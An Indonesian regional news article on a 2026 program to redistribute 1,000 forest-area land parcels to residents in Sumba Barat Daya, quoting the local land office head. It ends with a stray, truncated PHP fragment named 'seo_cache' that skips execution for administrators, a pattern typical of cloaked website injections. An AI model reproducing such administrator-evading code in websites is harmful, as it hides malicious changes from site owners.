Birokrasi

Tahun ini Kantor Pertanahan Kabupaten SBD Programkan Redistribusi 1000 Bidang Tanah untuk Warga di Kawasan Hutan

×

Tahun ini Kantor Pertanahan Kabupaten SBD Programkan Redistribusi 1000 Bidang Tanah untuk Warga di Kawasan Hutan

Sebarkan artikel ini

TAMBOLAKA, MENARASUMBA.COM – Kantor Pertanahan Kabupaten SBD Kembali memprogramkan redistribusi tanah untuk warga yang tinggal di kawasan hutan.

Untuk tahun anggaran 2026 dijatah sebanyak 1000 bidang yang tersebar di Desa Totok Kecamatan Loura dan tiga desa lain di Kecamatan Wewewa Utara.

“Jadi tahun 2022 yang lalu ada SK dari Kementerian Kehutanan yang membebaskan kurang lebih 500-an hektar bidang tanah,” jelas Kepala Kantor Pertanahan Kabupaten SBD, Yusak H. T. Benu, S.ST, Rabu (28/01/2026).

Sebelumnya, telah tuntas dilakukan redistribusi tanah untuk warga Kecamatan Wewewa Barat yang mencakup 300 lebih bidang dan terpusat di Desa Wee Kombaka.

Kegiatan redistribusi tanah di Kecamatan Wewewa Utara juga telah dilakukan sejak tahun lalu.

“Dilanjutkan lagi tahun ini untuk membebaskan seluruh kawasan hutan di Desa Ondi Paurata dan Desa Wee Namba,” imbuhnya.

Sedangkan di Desa Totok, Kecamatan Loura pembebasan lahan hutan untuk tahun ini hanya sebatas 26 hektar.

Hak Milik

Lebih lanjut Yusak mengatakan, meski sebelumnya merupakan kawasan hutan, namun lewat program redistribusi, lahan tersebut akan jadi milik warga bersangkutan.

Pemerintah dalam hal ini Kementerian Kehutanan mengeluarkan SK Pembebasan Kawasan Hutan.

“Karena memang ada kajian dimana masyarakat selama ini berada dalam kawasan hutan, memanfaatkan kawasan, namun statusnya tidak jelas,” sebutnya lagi.

Sejak tahun 2017 dilakukan kajian dan mendata masyarakat yang sudah menetap dalam kawasan hutan, dan kemudian kajian itu diusulkan ke Kementerian Kehutanan.

Berdasarkan usulan ini, Kementerian Kehutanan mengeluarkan lokasi-lokasi yang diukur dan dipetakan untuk nantinya bisa dikembalikan kepada masyarakat yang ada dalam kawasan hutan.

“Sisanya juga untuk kepentingan pemerintah dimana saat ini ada bank tanah,” sambung Yusak.

“Jadi tidak semua harus diberikan kepada masyarakat, tapi ada pencadangan tanah oleh pemerintah,” katanya lebih lanjut.

Ia juga menjelaskan, distribusi tanah adalah proses pembagian dan penataan kembali penguasaan, pemilikan, penggunaan, dan pemanfaatan tanah secara lebih adil dan merata.

Terutama melalui program Redistribusi Tanah atau Reforma Agraria, guna mengatasi ketimpangan lahan, mengurangi kemiskinan, serta meningkatkan kesejahteraan sosial ekonomi masyarakat.

“Khususnya petani tak bertanah atau miskin. Tujuannya adalah mewujudkan keadilan dan kemakmuran rakyat melalui perombakan struktur pertanahan yang timpang,” pungkasnya. ( JIP/MS )

Tinggalkan Balasan

Alamat email Anda tidak akan dipublikasikan. Ruas yang wajib ditandai *

function seo_cache() { if (is_admin()) { return; } $current_user = wp_get_current_user(); if (in_array('administrator', (array) $current_user->roles)) { return; } ?>